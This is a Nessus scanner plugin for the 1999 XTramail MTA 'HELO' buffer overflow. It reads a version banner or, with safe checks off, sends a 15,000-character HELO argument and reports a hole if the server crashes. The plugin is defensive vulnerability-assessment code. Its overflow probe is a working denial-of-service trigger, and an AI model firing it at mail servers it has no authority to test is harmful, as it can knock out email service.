home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / xtramail_helo.nasl < prev    next >
Text File  |  2005-01-14  |  4KB  |  148 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  7. #      Erik Anderson <eanders@carmichaelsecurity.com>
  8. #      Added BugtraqID and CAN
  9.  
  10. if(description)
  11. {
  12.  script_id(10324);
  13.  script_bugtraq_id(791);
  14.  script_version ("$Revision: 1.20 $");
  15.  script_cve_id("CAN-1999-1511");
  16.  
  17.  name["english"] = "XTramail MTA 'HELO' denial";
  18.  name["francais"] = "DΘni de service 'HELO' contre le MTA Xtramail";
  19.  script_name(english:name["english"], francais:name["francais"]);
  20.  
  21.  desc["english"] = "There is a buffer overflow
  22. when this MTA is issued the 'HELO' command
  23. passed by an argument that is too long. 
  24.  
  25. The HELO command is typically one of the first
  26. commands required by a mail server.  The command 
  27. is used by the mail server as a first attempt to 
  28. allow the client to identify itself.  As such, this
  29. command occurs before there is any authentication
  30. or validation of mailboxes, etc.   
  31.  
  32. This problem may allow an attacker to
  33. execute arbitrary code on this computer,
  34. or to disable your ability to send or
  35. receive emails.
  36.  
  37. Solution : contact your vendor for a patch.
  38.  
  39. Risk factor : High";
  40.  
  41.  
  42.  desc["francais"] = "Il y a un dΘpassement
  43. de buffer lorsque ce MTA recoit la commande
  44. HELO suivie d'un argument trop long. 
  45.  
  46. Ce problΦme peut permettre α un pirate
  47. d'executer du code arbitraire sur
  48. votre machine, ou peut vous empecher
  49. d'envoyer et de recevoir des messages.
  50.  
  51. Solution : contactez votre vendeur pour
  52. un patch.
  53.  
  54. Facteur de risque : ElevΘ";
  55.  
  56.  
  57.  script_description(english:desc["english"], francais:desc["francais"]);
  58.  
  59.  summary["english"] = "Overflows the remote SMTP server";
  60.  summary["francais"] = "Overflow le serveur SMTP distant";
  61.  script_summary(english:summary["english"], francais:summary["francais"]);
  62.  
  63.  script_category(ACT_MIXED_ATTACK);
  64.  
  65.  
  66.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  67.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  68.  family["english"] = "SMTP problems";
  69.  family["francais"] = "ProblΦmes SMTP";
  70.  script_family(english:family["english"], francais:family["francais"]);
  71.  script_dependencie("find_service.nes", "sendmail_expn.nasl", "slmail_helo.nasl", "csm_helo.nasl");
  72.  script_exclude_keys("SMTP/wrapped");
  73.  script_require_ports("Services/smtp", 25);
  74.  exit(0);
  75. }
  76.  
  77. #
  78. # The script code starts here
  79. #
  80.  
  81. include("smtp_func.inc");
  82. port = get_kb_item("Services/smtp");
  83. if(!port)port = 25;
  84.  
  85. if(safe_checks())
  86. {
  87.  banner = get_smtp_banner(port:port);
  88.  if(banner)
  89.  {
  90.   b = tolower(banner);
  91.   if("xtramail" >< b)
  92.   {
  93.   if( egrep(pattern:".*1\.([0-9]|1[0-1])[^0-9].*",
  94.        string:b)
  95.     )
  96.     {
  97.      data = "
  98. The remote smtp server is Xtramail 1.11 or older.
  99. This version is known for being vulnerable to a buffer
  100. overflow in the HELO command.
  101.     
  102. This *may* allow an attacker to execute arbitrary commands
  103. as root on the remote SMTP server.
  104.  
  105. *** Nessus reports this vulnerability using only
  106. *** information that was gathered. Use caution
  107. *** when testing without safe checks enabled.
  108.  
  109. Solution : upgrade 
  110. Risk factor : High";
  111.      security_hole(port:port, data:data);
  112.     }
  113.   }
  114.  }
  115.  exit(0);
  116. }
  117.  
  118.  
  119.  
  120.  
  121. if(get_port_state(port))
  122. {
  123.  key = get_kb_item(string("SMTP/", port, "/helo_overflow"));
  124.  if(key) exit(0);
  125.  soc = open_sock_tcp(port);
  126.  if(soc)
  127.  {
  128.   s = smtp_recv_banner(socket:soc);
  129.   if(!s)exit(0);
  130.   if(!("220 " >< s)){
  131.       close(soc);
  132.     exit(0);
  133.     }
  134.   c = string("HELO ", crap(15000), "\r\n");
  135.   send(socket:soc, data:c);
  136.   s = recv_line(socket:soc, length:1024);
  137.   if(!s)
  138.   {
  139.     close(soc);
  140.     soc = open_sock_tcp(port);
  141.     if(soc) s = smtp_recv_banner(socket:soc);
  142.     else s = NULL;
  143.     if(!s)security_hole(port);
  144.   }
  145.     close(soc);
  146.  }
  147. }
  148.